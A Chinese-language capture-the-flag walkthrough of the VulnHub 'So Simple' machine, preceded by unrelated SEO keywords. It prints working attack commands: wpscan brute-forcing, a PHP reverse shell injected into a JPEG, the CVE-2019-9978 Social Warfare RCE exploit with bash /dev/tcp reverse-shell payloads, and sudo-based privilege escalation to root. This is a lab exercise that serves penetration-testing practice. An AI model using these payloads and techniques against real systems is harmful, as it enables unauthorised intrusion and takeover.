长春市城建网站,深圳的网站建设公司推荐,wordpress 开发 知乎,制作公司网站流程文章目录 1.主机发现2. 端口扫描3. 服务枚举4. 服务探查5. 提权5.1 枚举系统信息5.2 枚举定时任务5.3 查看passwd文件5.4 枚举可执行文件5.5 查看家目录5.6 Linpeas提权 6. 获取flag 靶机地址#xff1a;https://download.vulnhub.com/sosimple/So-Simple-1.7z 1.主机发现
目… 文章目录 1.主机发现2. 端口扫描3. 服务枚举4. 服务探查5. 提权5.1 枚举系统信息5.2 枚举定时任务5.3 查看passwd文件5.4 枚举可执行文件5.5 查看家目录5.6 Linpeas提权 6. 获取flag 靶机地址https://download.vulnhub.com/sosimple/So-Simple-1.7z 1.主机发现
目前只知道目标靶机在232.xx网段通过如下的命令看看这个网段上在线的主机。
$ nmap -sP 192.168.232.0/24锁定目标靶机地址。
2. 端口扫描
通过下面的命令扫描一下端口。
$ sudo nmap -p- 192.168.232.147端口比较少枚举一下具体的服务。
3. 服务枚举
通过下面的命令枚举一下端口上的服务。
$ sudo nmap -p22,80 -A -sT -sV 192.168.232.147枚举出的服务没有太特别的主要就是一个Apache。
4. 服务探查
还是先通过浏览器访问一下看看。 还是一个简单的图片最近几个靶机都是这种状况啊枚举一下目录吧。
$ dirsearch -u http://192.168.232.147:80/哈是个wordpress基于前车之鉴还是用gobuster扫一下。
$ gobuster dir -u http://192.168.232.147:80/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt没有太特殊的在这个例子中还不如dirsearch全面还是手工进去看一下吧。 简单试了一下枚举出了admin用户可以对这个用户进行爆破在此之前先用wpscan扫描一下并待参数枚举一下存在漏洞的插件和用户。
$ wpscan --url http://192.168.232.147/wordpress/ -e u,vp确实还是发现了一些内容比如xmlrpc、upload目录另外还枚举出了两个用户admin和max。先手工看看哪里有文件上传的入口然后再看看是否可以通过文件上传构建反弹shell。 目前是找到了上传文件的目标位置但是还没有找到上传文件的入口估计得需要登录才能有更多的权限通过rockyou爆破一下admin用户。
$ wpscan --url http://192.168.232.147/wordpress/ -P ../../rockyou.txt -U admin -t 6爆破了半天没啥效果再爆破一下max用户试试看。
$ wpscan --url http://192.168.232.147/wordpress/ -P ../../rockyou.txt -U max -t 6用了不到10分钟就爆破出来了手工登录看看。 确实登录成功了并且发现发表新的内容的时候时可以添加一个图片的如下图。 我们尝试发一个内容添加图片试试确实成功了如下图。 找一下前面发现的upload目录里面看是否有对应的图片。 确实在uploads下找到了我们上传的图片。这应该好办了采用我们的惯用手法构造一个图片格式的php脚本其中包含反弹shell如下图。 上传一下试试看。 嗯看来靶机还是做了一些防护处理的没法直接上传。找到一个神器https://github.com/dlegs/php-jpeg-injector可以在图片中注入php弄下来试试。
$ python3 gd-jpeg.py ../ubertooth.jpeg ?php $sockfsockopen(192.168.232.129,4444); $procproc_open(/bin/sh -i, array(0$sock, 1$sock, 2$sock),$pipes); ? infected_reverse.jpeg貌似生成了新的图片先在本地建立监听然后上传一下然后试试看。可惜的是上传成功了但是没有正常反弹。 感觉前面的wpscan扫描可能还漏了啥扫描一下全量插件试试看。
$ wpscan --url http://192.168.232.147/wordpress/ -e ap总共扫描出了两个插件搜索一下有没有针对这俩插件的EXP。 都没有搜出来上网直接搜搜看。发现貌似simple-cart-solution插件有个CVE漏洞如下图。 并且social-warfare有个远程脚本执行的漏洞。 第一个漏洞貌似有些异常在NIST找不到相关的具体信息如下图。 我们集中精力看social-warfare的远程脚本执行漏洞具体可以参照git上的内容https://github.com/hash3liZer/CVE-2019-9978。 先制作一个payload。
$ echo presystem(cat /etc/passwd)/pre payload1.txt启动python http服务让payload1可以被访问到。
$ python3 -m http.server 8000然后运行exp脚本。
$ /usr/bin/python2 CVE-2019-9978/cve-2019-9978.py --target http://192.168.232.147/wordpress/ --payload-uri http://127.0.0.1:8000/payload1.txt貌似失败了估计还是有些问题估计是payload1的地址原因从环回地址改成实际地址试试看。 远程代码执行成功了我们重新构造一个带有反弹shell的payload试试看。
$ echo presystem(\/bin/bash -c bash -i /dev/tcp/192.168.232.129/4444 01\)/pre payload2.txt先在4444端口上建立一下监听然后执行下面的EXP
$ /usr/bin/python2 CVE-2019-9978/cve-2019-9978.py --target http://192.168.232.147/wordpress/ --payload-uri http://192.168.232.129:8000/payload2.txt反弹shell建立成功。
5. 提权
先优化一下shell。
www-dataso-simple:/var/www/html/wordpress/wp-admin$ whereis python
www-dataso-simple:/var/www/html/wordpress/wp-admin$ /usr/bin/python3.8 -c import pty;pty.spawn(/bin/bash)5.1 枚举系统信息
通过下面的命令枚举一下系统信息。
www-dataso-simple:/var/www/html/wordpress/wp-admin$ uname -a
www-dataso-simple:/var/www/html/wordpress/wp-admin$ cat /etc/*-release是64位的Ubuntu 20.04 LTS版本内核5.4.0-40。
5.2 枚举定时任务
通过下面的命令枚举一下定时任务。
www-dataso-simple:/var/www/html/wordpress/wp-admin$ cat /etc/crontab没有可以利用的定时任务。
5.3 查看passwd文件
先查看一下passwd文件中都有哪些用户。
www-dataso-simple:/var/www/html/wordpress/wp-admin$ cat /etc/passwd从上面可以看到存在root、max、steven三个具备正常shell的用户。尝试向passwd文件中写入一个用户试试看。
www-dataso-simple:/var/www/html/wordpress/wp-admin$ echo testuser /etc/passwd没有权限。
5.4 枚举可执行文件
通过下面的命令枚举一下可执行文件。
www-dataso-simple:/var/www/html/wordpress/wp-admin$ sudo -lwww-dataso-simple:/var/www/html/wordpress/wp-admin$ find / -user root -perm -4000 2/dev/null看得不太明显继续往下。
5.5 查看家目录
查看一下当前www-data用户的家目录下都有些啥。 有个名为mybackup.txt的文件比较可疑进去看看。
www-dataso-simple:/var/www/html/wordpress/wp-admin$ cat ~/html/mybackup.txt感觉像是base64编码过的内容尝试解码一下看看。 是base32编码的内容其实就是之前我们爆破出来的max用户的密码。尝试用这个密码切换到max用户试试。 发现不是任何一个用户的的shell登录密码暂时放一边。
5.6 Linpeas提权
www-dataso-simple:/tmp$ chmod ux linpeas.sh有意思的是这里面在max用户下找到了ssh登录的密钥对如下图。 把私钥拷贝下来放到本地的~/.ssh/id_rsa文件中尝试登录一下试试看。
$ chmod 600 ~/.ssh/id_rsa
$ ssh max192.168.232.147 -i ~/.ssh/id_rsa登录成功直接在这个用户下运行一下linpeas.sh试试看。 貌似这个/usr/sbin/service有些猫腻不过不是很懂莫非是不用密码可以进入到steven账号下面但是这个/usr/sbin/service应该怎么用还是一头雾水不过之前大佬传授给我一个超级牛逼的网站https://gtfobins.github.io/上面看看有没有具体用法。 网站的Sudo下面找到service词条打开后找到了具体的用法如下图。 试一下看看。
maxso-simple:/tmp$ sudo -u steven /usr/sbin/service ../../bin/sh果真是切换到了steven用户啊轮换了两三个用户了直接在steven用户下继续执行linpeas吧。 哈感觉是同样的手法又用了一次如下图。那就看看这个shell中是什么内容吧。 呵竟然找不到这个文件好奇怪。按照上面的葫芦画个瓢看看能不能用这个server-health.sh提权吧。
$ sudo -u root /opt/tools/server-health.sh ../../../usr/bin/sh还是找不到文件。按照靶机的尿性既然linpeas能够给出这个线索不可能没有用啊没有条件创造条件也要上我们自己创建一个server-health.sh文件试试看。
$ mkdir -p /opt/tools
$ echo #!/bin/sh /opt/tools/server-health.sh
$ chmod ux /opt/tools/server-health.sh
$ sudo -u root /opt/tools/server-health.sh ../../../usr/bin/sh
$ sudo -u root /opt/tools/server-health.sh ../../bin/sh无论如何折腾都还是steven用户直接在server-health.sh中写入反弹shell试试看。
$ echo bash -c exec bash -i /dev/tcp/192.168.232.129/4444 1 /opt/tools/server-health.sh
$ cat /opt/tools/server-health.sh
$ chmod ux /opt/tools/server-health.sh
$ sudo -u root /opt/tools/server-health.sh这次提权成功顺利拿到root权限。
6. 获取flag
获取一下flag。